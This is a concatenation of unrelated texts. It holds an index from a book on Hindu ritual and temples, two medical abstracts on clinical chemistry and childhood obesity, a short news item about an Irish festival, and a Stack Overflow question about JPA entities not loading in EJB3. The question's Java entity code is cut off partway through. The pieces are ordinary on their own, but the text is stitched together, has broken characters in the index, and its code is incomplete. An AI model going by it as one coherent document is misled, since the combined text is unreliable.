Muṉiśwaraṉ temples
_m ūrtis._ _See_ icons _(m ūrtis)_
Murukaṉ (god); Chettiyars and; increased worship of; Kārttikēya as form of; in Malaysia; in medieval temples; _vs._ Subrahmaṇia and Taṇṭāyutapāṉi; in Tamil literature; Taṇṭāyutapāṉi as form of; as warrior. _See also_ Subrahmaṇya
Murukaṉ temples and shrines: in Batu Caves; in Malaysia; in medieval Tamilnadu; at Palani; at Penang Hill. _See also_ Subrahmaṇya temples and shrines
Muslims; in Canada; in India; in Malaysia; Muslim extremists; religious switching and; in Singapore. _See also_ Islam
Muvaraivenran (Tamilnadu)
"mythologicals" (film genre)
Nagapattinam
Nagarathar Śivan Temple (Penang)
Naicker, E. V. Ramasami
Nair caste
Naṉampāḷ (goddess)
Nandi
Nārada (sage)
_naraka_ (hell)
Narasiṃha (god)
Nārāyaṇa (son of Ajāmila/Viṣṇu)
Narayanan, Vasudha
Natarāja (god)
Nath, Alok
Nātha (ascetic sage)
National Day Rally (Singapore)
National Fatwa Council (Malaysia, 1978)
National Front Coalition (Barisan Nasional)
national identity
National University of Singapore
Nattukottai Chettiar Temple (Waterfall Road Subrahmaṇia Temple)
Nattukottai Chettiyars. _See_ Chettiyars
Navarātri (celebration)
Nayakas
Nāyanār saints
neo-paganism
_New Age Capitalism_ (Lau 2000)
New Economic Policy (Malaysia)
New Jersey, United States
New York, United States
niche figures of Subrahmaṇya
Niśā (character)
Niṣādas
_ni ṣkāma-karma_ (desireless action)
non-resident Indians (NRI)
North America: Hindu Temple Society of North America. _See also_ Canada; Rush temple
North Arcot district (northern Tamilnadu)
North India; affinal relations in; North Indians; ritual performance in; _vs._ South India
Oakville, Ontario
O'Flaherty, Wendy Doniger
Olivelle, Patrick
Om Śaktī. _See_ ?ti Para Śaktī (goddess)
oneness: of deity and devotee; of _jo ṛi_
Ontario (Canada)
order of the cosmos
Orr, Leslie C.
orthodoxy: Āgamic; Brahmanic; caste; _vs._ marginality; _vs._ orthopraxy; at Rush temple
orthopraxy; Kuru; _vs._ orthodoxy; at Rush temple
Padma Purāṇa
Pakaḻikkūttar
Palani (Tamilnadu); Palani Temple; Viṣṇu temple at
palanquins; for Devī; for Rām
_p āl kāvaṭi_ (milk offering)
Pallava (royal family)
Pancagaṇgā Ghāṭ
Pāṇḍavas
pandits
Pandya dynasty
Pandyanadu (Pandya country)
Pan Malayan Dravidian Association
pantheons: "new American Hindu pantheon," Śaiva pantheon
_paradharma_ (another's duty)
Parameswaran, S.
Paraśurāma
_Parip āṭal_ (poem)
_pariv āra devatā_s
Pārvatī (goddess); in Ganesha Temple; in _Jai Santoshi Maa_
passage of time (in film)
Pasuvandanai (Tamilnadu)
patronage: to Murukaṉ; at Tai Pūcam
Pavlov, Ivan
peacock of Subrahmaṇya
Pechilis, Karen
Penang, Malaysia; attack of shrines and temples in; Muṉiśwaraṉ shrines at; Tai Pūcam in
Penang Hill Murukaṉ Temple
People's Action Party (PAP, Singapore)
Perak (Malaysia)
performance. _See_ ritual performance
Periya Purāṇam
Phālguna (month)
Phalke (director)
_phera_ (circumambulation of wedding fire)
Philippines
physical acts: efficacy of; inner experience and; physical ritual performance; _vs._ thought
"picture palaces,"
"picturization" (in film)
_Pierced by Murugan's Lance_ (Collins)
pilgrimage: to Ayyappan_ shrine; to Murukaṉ temples; to Rāmṭekrī; of Sharma; to temples of Santoṣī Mā; _tuls ī_ and
Pillai, Kayarohanam
_pi ḷḷaittamiḻ_ (poetic form)
Pintchman, Tracy
Piranmalai (Tamilnadu)
plantation temples
pluralism: social; in worship
politics of ritual
Pollachi (Tamilnadu)
popular culture
popular media
post-Durkheimian era
post-Independence period
post-Ṛgveda "mantra period,"
power: of goddesses; of physical action; power relations and ritual performance; power struggles and festivals; of ritual; of Śiva; sovereign. _See also_ divine power
Prabhakaran, Velupillai
Prabodhanī Ekādaśī, festival of
practices. _See_ ritual practices
Pradesh, Andhra
_pr ākāra_ (enclosing wall)
_pras ād_ (viewing of deity)
Prasād, Lallū (character)
Prasad, M. Madhava
_prati ṣṭhā_ (anniversary celebration)
_pr āyaścitta._ _See_ expiation
pregnancy: in _Hum Aapke Hain Koun_. _See also_ fertility
Prem (character)
_prema_ _vs._ _k āma_
priests: at Ayyappan Temple; in community-style temples; from Guyana; Hindi-speaking in
Canada; from India; in Melmaruvathūr; at Sanatana
Mandir; Tamil; at Vaisno Devi Temple. _See also_ Brahman priests
Prime Ministers: Gandhi, Indira; Mahathir bin Mohamad; of Singapore
privatization
Priyadarśī, Pandit
processional images of Subrahmaṇya
proletarian heroes in film
prosperity; associated with Lakṣmī; "consumer revolution" and; as householder value; Ṛddhi
protests: of Ayyappaṉ Temple; at Batu Caves; of _Gaja Gamini_ ; by HINDRAF; by HMS; by MHS; by of MIC; against temple demolition; _y ātra_
Pṛthā
"public culture,"
public service associations
public spaces. _See also_ civil society
Pudukkottai
Pūjā (character)
_p ūjā_s (devotional rituals): in Canada; devotional circles at; Kārtik; menstruation and; in Nagarathar Śivan Temple; _p ūjā_ offerings; at Rush temple; of Satyavatī; Shail on; at Vaisno Devi Temple
Punjai (Tamilnadu); Punjabi temple; Punjabi workers
Purānas, the (sacred texts); accidental rituals in; Bhāgavata Purāṇa; "domestication" of deities in; efficacy of physical acts in; intentional _vs._ unintentional action in; Kanta Purāṇam; Liṇga Purāṇa; "mythologicals" and; Padma Purāṇa; Periya Purāna; ritual theory and; Śaiva Purāṇas; Śiva Purāṇa; _tuls ī_ and
Puruṣa
"Puruṣasūkta" (hymn to Puruṣa)
Pūtanā (demoness)
Quebec (Canada)
Queen Street Maha Mariamman Temple
Queen Victoria (Britain)
Raas Garbha dances
race riots in Malaysia (1969)
Rādhā (god)
Raffles, Thomas
Rāgānugā Bhakti Sādhana
railways: in Canada; in Malaysia
_r ājadharma_ (laws of kings)
Rājanya (nobility)
Rajaraja I (Chola ruler)
Rajaraja II (Chola ruler)
Raja Raja Madurai Veeran Temple
Rājarājeśwarī (goddess); _m ūrti_ of; at Rush temple
Rajasthan
Rajayoga Power Transcendental Meditation group (Singapore)
Rajeś (character)
Rām; in Canadian temples
Rāma (god); as Devī; in Hindi film; at Vaisno Devi Temple
Ramakrishna, Sri
Ramakrishna Mission (reform movement)
Rāmānanda
Rāmānandi order; Tulsī marriage ritual by
Ramanathan, K.
Ramanathan, Sankaran
Rāmānuja (philosopher)
Ramasamy, Nagah Devi
Rāmāyaṇa (text); on _karmayoga_
Rāmcaritmānas of Tulsīdās; at Vishnu Mandir
Ramnad district (southern Tamilnadu)
Rāmnareśācārya (head of monastery)
Rāmṭekrī (pilgrimage location)
_r āsa-līlā_ (circle dance) of Kṛṣṇa
Rāvana (Śiva _bhakta_ )
Ṛddhi (Prosperity)
reform movements; caste conflict and; Ceylonese Tamils and; Divine Life Society; reform of temples in Malaysia; removal of temples and; rise in Islamic extremism and; universal Hinduism and; vow fulfillment and. _See also under specific reform movements_
Registry of Co-operative Societies (Singapore)
Registry of Societies (ROSES) (Singapore)
reincarnation
relief sculptures of Subrahmaṇya
relief work
religion: as cultural system; ethnic communities and; _ethnoreligion_ ; _vs._ faith; future of; global values and; new religious movements; "official" _vs._ "popular," as political force; religiopolitical movements; religious agency; religious communities in Canada; religious freedom; religious institutions; religious militancy; religious-spiritual impulse; religious switching; _vs._ spirituality. _See also under specific religions_
religious scriptures. _See under specificscriptures_
religious studies: changes in; comparative; field of; future of; Hindi film and; on ritual
renunciants, Rāmānandi
renunciation _(sa ṃnyāsa_/ _ty āga)_
Ṛgveda _(Rigveda)_
Ṛgveda Saṃhitā
rhythmic breathing
Rice, Condoleezza
Richmond Hill, Toronto (Canada)
Rītā (character)
rites: of consumerism; definition of; dharma and; life-cycle; male; of passage; Vedic; _vrat-kath ā_s and. _See also under specific rites_
ritual action; _dharma_ and _karma_ as; intentional _vs._ unintentional; _vs._ _kriya_ ; Purāṇas on; ritual actors and; as transformative agent; Western academy on. _See also_ physical acts
ritual activity; _vs._ community activity
ritual actors; as ritual agents
ritual authority: claims to; laity and; women and
ritual contestation
ritual ironies
ritualization; definition of; de-ritualization; of film; of war and violence
ritual leadership. _See_ ritual authority
ritual performance; accidental; agency and; defini
tion of; _dhárman_ and; formal flexibility of; group identities and; in Hindi films; identity and; knowledge/intention in; in medieval temples; power relations; in Purāṇas; at Rush temple; social structures and; transformation and; of Tulsī's marriage; Western academy on. _See also under specific rituals_
ritual practices; agency and; in Canada; caste and; in guru-centered movements; in Hindi films; in medieval temples; music and; power relations and; temple communities and
_Ritual Process, The_ (Turner)
rituals: accidental; characteristics of; definition of; ethnic specificity and; in Hindi film; as metaphor; _vs._ modernity; as orthopraxy; politics of; power of; as self-help; social identity and; as "world-
making," _vs._ yoga. _See also under specific rituals_
ritual spaces; immigration policies and; temples as
ritual studies; changing terminology and; disappearance of ritual and; religious studies and
ritual systems, in Canada
ritual theory; in Purāṇas; Western _vs._ indigenous
ritual transformation. _See_ transformation
ritual worship; in medieval temples
Rocher, Ludo
Rochester, New York
root metaphor
RTMB Radio (Malaysia)
"Rudrasamhitā" (Śiva Purāṇa)
Rush, New York. _See_ Rush temple
Rush temple, –3; _ā rati_ for Devī at; as goddess temple; male divine power at; ritual ironies at; sacred thread ceremony at; women's ritual leadership at. _See also_ Aiya (Sri Chaitanyananda)
Russia, theorists from
sacred (divine) marriage
sacred powers. _See_ divine power
sacred spaces: shopping malls as; temples as
sacred texts: _vs._ academic literature. _See also under specific texts_
sacred thread ceremony
sacrifice _(balid ān):_ sacrificial ritual
sacrifices _(balid ān_s _)_ ; blood sacrifices; desireless action; dharma and
_s ādhana_ (imitation of _anubh āva_s)
Sadhguru Jaggi Vasudev
_sag āī_ (engagement)
Śaiva pantheon; at Ganesha temple; in medieval temples
Śaiva Purāṇas
Śaiva-Śakta tradition
Śaivism; Śaiva Siddhānta philosophy
_ś akti_ (blade)
Śakti (goddess)
Salem district (western Tamilnadu)
Saluvankuppam (Tamilnadu)
_sam āj_ (community)
Samayapuram Mariamman Pillaigal (Samayapuram Māriyammaṉ Piḷḷaikaḷ)
Sambuvaraya
Sanatana Mandir
sanctum of temple
Sanskrit; chanting in; medieval; rituals in
Sanskritization: of Murukaṉ; of temples
Śāntiparvan (text)
Santoṣī Mā (Satisfaction Mother); in _Jai Santoshi Maa_ ; origin of
Sarasvatī (Brahmāṇi/Mrs. Brahmā)
Saraswati, Śivananda
Saru (daughter of Aiya)
Satisfaction Mother. _See_ Santoṣī Mā (Satisfaction Mother)
_satsang_ (group _kriya_ )
Satya Sai Baba (organization)
Satyavatī (character)
Scarborough, Toronto (Canada)
Schmid, Charlotte
scholarship. _See_ Western academy
_Screen_ (journal)
scriptures. _See under specific scriptures_
sculptures of Subrahmaṇya. _See_ Subrahmaṇya, temple images/inscriptions of
Sechenov, I. M.
secularization; de-ritualization; global secular values; of middle-class Hindus; secular spaces; in Singapore
Selangor, Malaysia
self-help: community self-help organizations; ritual as
self-transformation
_Selling Spirituality_ (Carrette and King 2005)
Senaka, Sundara (king)
Seremban, Malaysia
sexuality: sexual desire _(k āma)_; sexually explicit songs; sexual unions _vs._ marriages
Shahane, Renuka (actor)
Shail (Art of Living founder)
Shankar, Sri Sri Ravi
Shankara
Shanmugam, N.
Sharma, Vijay (director)
Shivarudra Balayogi
_Sholay_ (Śole, Flames)
shrines: attacks on; _vs._ temples. _See also under specific shrines_
ś _ikhara_ (temple tower)
Sikhs in Canada, –4
_sind ūr_ (vermilion powder)
Singapore; consumption in; Dravida Reform Movement in; National University of Singapore; new religious movements in
Singarattoppu (Tamilnadu)
singing, devotional
Sinha, Vineeta
Sirkali (Tamilnadu)
Sītā; in Canadian temples; as Śiva
Sitthar, Jnana
Śiva (god); Ardhanārīśvara as form of; Bhairava as form of; _bhakta_ s of; domestication of; in dyadic divinity; in Garuḍa Purāṇa; in "Kotirudra Saṃhitā," Kungiliya Kalāya and; in Malaysia; Muṉiāṇṭi as form of; Santoṣī Mā and; Somāskanda (Śiva and consorts); in story of Guṇanidhi; Subrahmaṇya and; Sundareśvara as form of; _tuls ī_ and; wedding of; in ?rdrā Darśana festival. _See also_ Śaiva pantheon
Śivabrāhmaṇas (priests of Śiva)
Śiva _li ṇga_ (icon); in Canadian temples; definition of; in Purāṇa
Śiva Purāṇa
Śivarātri (fast for Śiva); _vrata_ on
Śiva temples: in _Deewaar_ ; in Honolulu; in Kungiliya Kalāya legend; medieval; Nagarathar Śivan Temple
Skanda (Murukaṉ)
Skanda Purāṇa (text)
Skanda Śasti (celebration)
Smith, Brian K.
Smith, Jonathan Z.
social classes. _See_ caste system; class; _var ṇa_ (social classes)
"social" film; definition of
social/group identities, ritual performance and
social pluralism
social service projects; at Isha Foundation; at Satya Sai Baba centers
social status. _See_ caste system; class; _var ṇa_ (social classes)
societies: Registry of Co-operative Societies; Registry of Societies; in Singapore; Societies Act
Somāskanda
songs: "Bhābhī terī bahinā to mānā," "Dīdī terā devar dīvānā," filmsongs; folk; in Hindi film; in _Hum Aapke Hain Koun_ ; "Jūte do paise lo," "Kartī hūṃ tumhārā vrat maiṃ," "Maiṃ to ārtī utārūṃ," song sequences in Hindi film; "Vāh vāh Rāmjī," women's song sessions; at ?rdrā Darśana festival
South Arcot district (northern Tamilnadu)
South India; global gurus based in; medieval; _vs._ North India; pilgrimage shrine of Ayyappan_; South Indian–style temples; Śrīvidyā in; Vasanthi in; ?rdrā Darśana in. _See also_ Tamilnadu (Tamil country)
spaces: domestic; ethnic _vs._ global; public/civil; ritual; sacred; secular; temple; for worship
_Spiral Dance, The_ (Starhawk)
Spiritual Education (SE)
spiritualism: _vs._ faith
"Spiritualities of Life,"
spirituality; eco-spirituality; _vs._ religion; service and. _See also_ guru-centered (spiritual) movements; yoga
spiritual liberation _(mok ṣa)_
_Spiritual Marketplace, The_ (Roof 1999)
spiritual movements. _See_ guru-centered (spiritual) movements
sponsorship, of Tai Pūcam
Śrautasūtras (text)
_ś ricākra yantra_ (icon)
Sri Chaitanyananda. _See_ Aiya (Sri Chaitanyananda)
Sri Gnanananda Nama Sankirtana Mandali Malaysia (organization)
Sri Lanka: traditions/practices of; ?rdrā Darśana festival in
Sri Lankan Tamils; in Canada; in Malaysia; Rush temple and
Śrī Maṭh (monastery)
Śrī Rājarājeśwarī Pīṭham (temple). _See_ Rush temple
Sri Śaṇkarācārya Maṭha
Sri Satya Sai Baba Organization
Sri Subramaṇia Temple
Sri Taṇṭāyutapāṉi Temple
Śrīvidyā mantra
Śrīvidyā (Tantric) tradition
Stanislavski, Constantin
Starhawk
storefront temples
story _(kath ā)_; of Guṇanidhi; of Gurudruha
Straits Settlement (Malaysia)
_Straits Times_
Subbiah, T.
subculture and temple communities
Subrahmanya (Murukaṉ, Subrahmania); _vs._ Brahmā; Chettiyars and; consorts of; elephant of; iconography of; _L'Iconographie de Subrahmanya au Tamilnad_ ; medieval worship of; _vs._ Murukaṉ; patrons of; peacock of; Śiva and; "Tamilness" of. _See also_ Murukaṉ (god)
Subrahmaṇya, temple images/inscriptions of; from 7th and 8th centuries; from 9th century; from 10th century; from 11th century; from 12th century; from 13th century; in medieval temples, –11; niche figures; processional images; relief sculptures
Subrahmaṇya temples and shrines: medieval; Subramaṇia Swamy Temple; Waterfall Road Subrahmaṇia Temple. _See also_ Murukaṉ temples and shrines
Subramanian, S. V.
Sudarshan Kriya
Śūdra (serving class)
Sultan of Kedah
Sundareśvara (Śiva)
Sungai Petani, Kedah (Malaysia)
Sūrapadmaṉ (demon)
Sūta
Sutton, Nicholas
_svabh āva_ ("inherent nature")
_svadharma_ s ("own laws"); in Dharmasūtras; in Gītā; in Manu; in Śrautasūtra
_svakarma_ s ("own jobs")
Swāminarayan (god)
Swami Rāmānanda
Swami Sivananda Saraswati
Tai Pūcam (Thaipusam) festival; changes in; consolidation of (1935); HINDRAF and; in Kuala Lumpur; in Penang; rise in Islamic extremism and; Sri Muṉiśwaraṉ Temple and
Taittirīya Brāhmaṇa
Taiwan
Tambiah, Stanley
Tamil country. _See_ Tamilnadu
Tamil identity and Murukaṉ
Tamil laborers: HINDRAF and; in Independent Malaysia; MIC and; origins of; origins of Tai Pūcam and; Skanda Śasti and; vow fulfillment reform and; worship of Muṉiāṇṭi by; worship of Taṇṭāyutapāṉi by
Tamil language and literature; Caṇkam literature; Subrahmaṇya as source of; Tamil hymns
_Tamil Malar_ (newspaper)
Tamilnadu (Tamil country); medieval; northern; southern; untouchables in; western. _See also under specific regions, districts, and cities_
Tamils: in Canada; Rush temple and; in Singapore; Tamil Muslims
Tamils in Malaysia; after independence; sects of; Sri Lankan; Tai Pūcam and. _See also_ Chettiyars; Tamil laborers
Tamil Tigers
Tampoi (Malaysia)
Tanjung Bunga (Malaysia)
Tanjung Tokong (Malaysia)
Taṇṭāyutapāṉi (Murukaṉ)
Tantric (Śrīvidyā) tradition. _See also_ Śrīvidyā tradition
_tapas_ (austerities)
temple boards; at Ayyappan Temple; in diaspora; at Ganesha temple; at Hindu Sabha; at Hindu Samaj; at Rush temple; at storefront temples; for Vaisno Devi Temple
temple communities; for ethnic subcultures; marriage licensing and; ritual choices in
temple culture _vs._ guru-centered movements
"temple entry movement," _See also_ Hindu Mahajana Sangam (HMS)
temple festivals. _See under specific festivals_
temple honors
temple images. _See_ Subrahmaṇya, temple images/inscriptions of
temple inscriptions. _See_ Subrahmaṇya, temple images/inscriptions of
temple management committees; elections for; at Ganesha Temple; HINDRAF and; for Kuala Lumpur Maha Mariamman Temple; temple security and; vow fulfillment and
temple rituals: _vs._ _kriya_. _See also_ rituals; _specific rituals_
temples: attack of; demolition/relocation of; for ethnic communities; plantation; as ritual spaces; as sacred spaces; _vs._ shrines; as sites of ritual contestation; storefront. _See also under specific temples_
temple sanctum
_T ēvāram_ (Tamil hymns)
Tēvayāṉai (Devasenā)
Thambusamy, K.
Thanjavur district (Cholanadu)
theogamy (sacred marriage)
theory: implicit; ritual
Tiruccentur, Tamilnadu (India)
_Tiruccent ūr Piḷḷaittamiḻ_
Tiruchchendur (Tamilnadu)
Tiruchengodu (Tamilnadu)
Tiruchirappalli district (Cholanadu)
Tirukkalukkunram (Tamilnadu)
Tirukkattuppalli (Tamilnadu)
_Tirumuruk āṟṟuppaṭai_ (poem)
Tirunelveli district (southern Tamilnadu)
Tirupapuliyur (Tamilnadu)
Tirupati, Andhra Pradesh (India)
Tirupparankunram, Tamilnadu
Tirupporur, Tamilnadu
_Tiruppuka ḻ_ (poem)
Tirupurambiyam (Tamilnadu)
Tiruttani (Tamilnadu)
Tiruvakkarai (Tamilnadu)
Tiruvalisvaram (Tamilnadu)
Tiruvamattur (Tamilnadu)
Tiruvannamalai, temple at
Tiruvengadu, Tamilnadu
Tiruvidaikkali (Tamilnadu)
Tiruvidaimarudur (Tamilnadu)
Tondaimandalam (Pallava area)
Toronto (Canada) suburbs of
transformation; ontological; self-transformation; in story of Guṇanidhi; through accidental ritual; through physical action; through ritual; through _s ādhana_
transliteration
Trimūrti cave
Trinidadians
Tripurāntaka (Śiva)
Trudeau, Pierre
Tulsī (goddess). _See_ Tulsī's marriage ritual
_tuls ī_ (plant); as bride in marriage ceremony
Tulsīdās, Rāmcaritmānas of
Tulsī's marriage ritual; along the _gh āṭ_s; auspiciousness and; gender and; at Śrī Maṭh
Turner, Victor; _Dramas, Fields, and Metaphors_
_ty āga_ (renunciation)
Uberoi, Patricia, –14
_udy āpan_ (ceremony)
Uganda
Umā
United Hindu Religious Council
United Kingdom. _See also_ Britain
United Malay National Organization (UMNO)
United States; _vs._ Canada; guru-centered movements in; "new American Hindu pantheon," religious sensibilities in; shopping malls in. _See also_ Rush temple
universal Hinduism
universality in guru-centered movements
untouchables; in _Interlok_ ; at Maha Mariamman Temple
_upanayana_ (sacred thread ceremony); of Kṛṣṇa; at Rush temple
Upaniṣads
_up āsikā_s (initiates)
"Uttarakhaṇḍa" (Padma Purāṇa)
Uttaramerur (Tamilnadu)
Uttar Pradesh (North India)
Vachani, Ajit (actor)
"Vāh vāh Rāmjī" (filmsong)
Vaiṣṇava Purāṇas
Vaiṣṇavism
Vaiṣṇo Devī Temple. _See also_ Devī (goddess)
Vaiśya (people)
_vajra_ (ritual object)
Vaḷḷi (hunter-maiden); shrine for
Vancouver, British Columbia
Varaguna (Pandya King)
Vārāṇasī (Benares, Banaras)
_var ṇa_ (social classes); Rājanya; Śūdra; Vaiśya; _var ṇasaṃkara_ (confusion of social classes). _See also_ Brahmans
Varuṇa (god)
Vasanthi (Canadian Tamil woman)
Veda Agama Pada Salai (school, Tamilnadu)
Vedanta (Hindi philosophy)
Vedas, the (texts); kings and; _svadharma_ and; _Voice of Vedas_
Vedic Hinduism; _homa_ ; _karmayoga_ ; rituals in; Vedic study
Veerama Kaliamman Temple
Vēḷāḷa (Piḷḷai) caste group
Vellu, Samy
_v ēl_ of Murukaṉ: Hindu reforms and; in medieval temples; Tamils in Malaysia and
Veṇkatēsvara (Viṣṇu)
Vijay (Art of Living teacher)
Vijayanagara (Karnataka)
_vim āna_ (shrine) to Māriyammaṉ
Vināyakan_ (god)
violence: between Hindus and Muslims; of Lalitā; ritualization of; between Tamils and Sri Lankan government
Vira Pandya (king)
Virasikhamani (Tamilnadu)
Vishnu Mandir
Viṣṇu (god); auspiciousness and; in Canadian temples; marriage of; in medieval temples; in story of Ajāmila; _tuls ī_ and; Veṇkatēsvara as form of. _See also_ Kṛṣṇa (Viṣṇu)
"visual communion,"
Vivekananda, Swami (Hindu figure)
_Voice of the Vedas_ (TV program, 1976)
volunteerism
vow fulfillment
Vraja (land of Kṛṣṇa)
_vrat_ (votive "fast"): Kārtik; for Santoṣī Mā
_vrata_ (ritual observance)
_vrat-kath ā_; definition of; _Jai Santoshi Maa_ as; of Santoṣī Mā. _See also kath ā_ (story)
Vrindavan (Uttar Pradesh)
Vyāsa (author)
Waghorne, Joanne Punzo
Ward, Graham
Waterfall Road Subrahmaṇia Temple
(Nattukottai Chettiyar Temple)
Weber, Max
Western academy; on auspiciousness; on Hindi film; Hindu studies in; _vs._ indigenous theory; on ritual; ritual studies; on sacred marriage. _See also_ religious studies
widow inauspiciousness
Witzel, Michael
women: in Canadian temples; domestic rituals by; female divine power; as film audience; folk songs of; in _Hum Aapke Hain Koun_ ; ritual irony and; ritual leadership by; in Tulsī's marriage ritual; _vrat_ s and. _See also_ menstruation
working-class Tamils. _See_ Tamil laborers
worship. _See_ ritual worship
Writers Association (Malaysia)
Wuthnow, Robert
"Xunzi and Durkheim as Theorists of Ritual Practice" (Campany)
Yajñadatta (fire sacrificer)
_yak ṣī_s (Jain goddesses)
Yama (Host of Death)
Yayasan Dakwah Islamiah (Malaysia)
yoga; at Art of Living; _ā sana_s; benefits of; _vs._ ritual; _s ādhana_; Sudarshan Kriya
Yudhiṣṭhira
Zepp, Ira G.
|
{
"pile_set_name": "Books3"
}
|
Clinical chemistry: challenges for analytical chemistry and the nanosciences from medicine.
Clinical chemistry and laboratory medicine can look back over more than 150 years of eventful history. The subject encompasses all the medicinal disciplines as well as the remaining natural sciences. Clinical chemistry demonstrates how new insights from basic research in biochemical, biological, analytical chemical, engineering, and information technology can be transferred into the daily routine of medicine to improve diagnosis, therapeutic monitoring, and prevention. This Review begins with a presentation of the development of clinical chemistry. Individual steps between the drawing of blood and interpretation of laboratory data are then illustrated; here not only are pitfalls described, but so are quality control systems. The introduction of new methods and trends into medicinal analysis is explored, along with opportunities and problems associated with personalized medicine.
|
{
"pile_set_name": "PubMed Abstracts"
}
|
Emergence of obesity and cardiovascular risk for coronary artery disease: the Bogalusa Heart Study.
The underlying determinants of cardiovascular risk are governed by both genetic and lifestyle factors. One of the major adverse outcomes of unhealthy lifestyles is obesity, the genesis of which begins in childhood. Obesity, an important risk factor for atherosclerotic cardiovascular disease, type 2 diabetes, and hypertension, persists (tracks) strongly from adolescent years to adulthood. Secular trends toward increased obesity in the past 25 years have occurred in children and adults alike. Of interest, baseline adiposity precedes hyperinsulinemia in all age groups, independently of race, sex, and baseline insulin levels. Adiposity is an independent predictor of the risk of developing the cluster of risk variables of the metabolic syndrome X, beginning in childhood. Exposure to a multiple risk factor burden over time enhances the development of coronary atherosclerosis and hypertensive cardiovascular disease. In fact, autopsy studies in youths have shown that the extent of fibrotic atherosclerotic plaques in coronary arteries, measured antemortem, increases markedly with the presence of syndrome X risk variables. Further, in overweight children, insulin levels are associated with left ventricular mass. In young people, overnutrition, coupled with physical inactivity, leads to weight gain. Since obesity, unhealthy dietary habits, and a sedentary lifestyle are interrelated and modifiable, prevention and intervention must begin in early life. (c)2001 CHF, Inc.
|
{
"pile_set_name": "PubMed Abstracts"
}
|
An estimated 10,000 people— and perhaps many more than that— attended yesterday's Irish Heritage Festival in Adams Corner. The second annual event featured two stages of music and dancing, vendors, outdoor dining and more — all geared towards a massive celebration of Irish culture. The family-friendly crowd swelled well beyond the large turnout of the inaugural street fest in 2009. The event included traditional Irish music as well as rock-oriented acts, including the U2 cover band The Joshua Tree, which took the main stage at 7 p.m.
Organizer Sean Weir told the Reporter that a large crowd had assembled in the village by 9:30 a.m.— a half-hour before the event actually started.
Do you have a good photo from the fest? Send it to the Reporter and DotNews.com with a caption.
The e-mail is [email protected]
|
{
"pile_set_name": "OpenWebText2"
}
|
Q:
Not whole entity being retrieved in ejb3
I have three classes which are connected to each other. Order, OrderDetail and Product. When I do in my JPA project the following:
@Override
public Order getOrderById(String orderID) {
Order order = (Order)
em.createQuery("select A from Order A where A.orderId = ?1")
.setParameter(1, orderID)
.getSingleResult();
return order;
}
all the info is retrieved. However, when I move it to the ebj project. I only get Order and that's it. All classes are however included in both the persistence.xml files (JPA and ejb3). Why is that and how should i solve it? The three classes are displayed underneath. I'm using Oracle Weblogic 10.3.3. I tried restarting and clearing the server but that didn't work.
*package eshop;
import java.io.Serializable;
import javax.persistence.*;
import java.util.ArrayList;
import java.util.List;*
/**
* The persistent class for the orders database table.
*
*/
@Entity
@Table(name="orders")
public class Order implements Serializable {
private static final long serialVersionUID = 1L;
@Id
@Column(name="order_id")
private String orderId;
@Column(name="cc_expiry")
private String ccExpiry;
@Column(name="cc_name")
private String ccName;
@Column(name="cc_number")
private String ccNumber;
@Column(name="delivery_address")
private String deliveryAddress;
@Column(name="delivery_name")
private String deliveryName;
@Column(name="delivery_surname")
private String deliverySurname;
private String status;
//bi-directional many-to-one association to OrderDetail
@OneToMany(mappedBy="order", cascade=CascadeType.PERSIST)
private List<OrderDetail> orderDetails = new ArrayList<OrderDetail>();
public void addOrUpdateOrderDetail(Product product) {
this.orderDetails.add(new OrderDetail(product));
}
public Order() {
}
public String getOrderId() {
return this.orderId;
}
public void setOrderId(String orderId) {
this.orderId = orderId;
}
public String getCcExpiry() {
return this.ccExpiry;
}
public void setCcExpiry(String ccExpiry) {
this.ccExpiry = ccExpiry;
}
public String getCcName() {
return this.ccName;
}
public void setCcName(String ccName) {
this.ccName = ccName;
}
public String getCcNumber() {
return this.ccNumber;
}
public void setCcNumber(String ccNumber) {
this.ccNumber = ccNumber;
}
public String getDeliveryAddress() {
return this.deliveryAddress;
}
public void setDeliveryAddress(String deliveryAddress) {
this.deliveryAddress = deliveryAddress;
}
public String getDeliveryName() {
return this.deliveryName;
}
public void setDeliveryName(String deliveryName) {
this.deliveryName = deliveryName;
}
public String getDeliverySurname() {
return this.deliverySurname;
}
public void setDeliverySurname(String deliverySurname) {
this.deliverySurname = deliverySurname;
}
public String getStatus() {
return this.status;
}
public void setStatus(String status) {
this.status = status;
}
public List<OrderDetail> getOrderDetails() {
return this.orderDetails;
}
public void setOrderDetails(List<OrderDetail> orderDetails) {
this.orderDetails = orderDetails;
}
}
package eshop;
import java.io.Serializable;
import javax.persistence.*;
import java.math.BigDecimal;
/**
* The persistent class for the order_details database table.
*
*/
@Entity
@Table(name="order_details")
public class OrderDetail implements Serializable {
private static final long serialVersionUID = 1L;
@GeneratedValue(strategy=GenerationType.AUTO)
private int id;
private BigDecimal price;
private int quantity;
//bi-directional many-to-one association to Order
@ManyToOne
@JoinColumn(name="order_id")
private Order order;
//bi-directional many-to-one association to Product
@ManyToOne
@JoinColumn(name="product_id")
private Product product;
@Id
private int product_id;
public OrderDetail() {
}
public OrderDetail (Integer ProductId,Product product,Integer productQuantity,BigDecimal price, Order order) {
this.price= price;
this.product_id = ProductId;
this.product = product;
this.quantity = productQuantity;
this.order = order;
}
public OrderDetail(Product product1) {
product_id = product1.getCategoryId();
price = product1.getPrice();
quantity = 1;
product = product1;
}
public int getId() {
return this.id;
}
public void setId(int id) {
this.id = id;
}
public BigDecimal getPrice() {
return this.price;
}
public void setPrice(BigDecimal price) {
this.price = price;
}
public int getQuantity() {
return this.quantity;
}
public void setQuantity(int quantity) {
this.quantity = quantity;
}
public Order getOrder() {
return this.order;
}
public void setOrder(Order order) {
this.order = order;
}
public Product getProduct() {
return this.product;
}
public void setProduct(Product product) {
this.product = product;
}
public int getProduct_id() {
return product_id;
}
public void setProduct_id(int product_id) {
this.product_id = product_id;
}
}
package eshop;
import java.io.Serializable;
import javax.persistence.*;
import java.math.BigDecimal;
/**
* The persistent class for the products database table.
*
*/
@Entity
@Table(name="products")
public class Product implements Serializable {
private static final long serialVersionUID = 1L;
@Id
@Column(name="product_id")
private int productId;
@Column(name="category_id")
private int categoryId;
@Lob
private String descr;
private BigDecimal price;
@Column(name="product_name")
private String productName;
private int quantity;
public Product() {
}
public int getProductId() {
return this.productId;
}
public void setProductId(int productId) {
this.productId = productId;
}
public int getCategoryId() {
return this.categoryId;
}
public void setCategoryId(int categoryId) {
this.categoryId = categoryId;
}
public String getDescr() {
return this.descr;
}
public void setDescr(String descr) {
this.descr = descr;
}
public BigDecimal getPrice() {
return this.price;
}
public void setPrice(BigDecimal price) {
this.price = price;
}
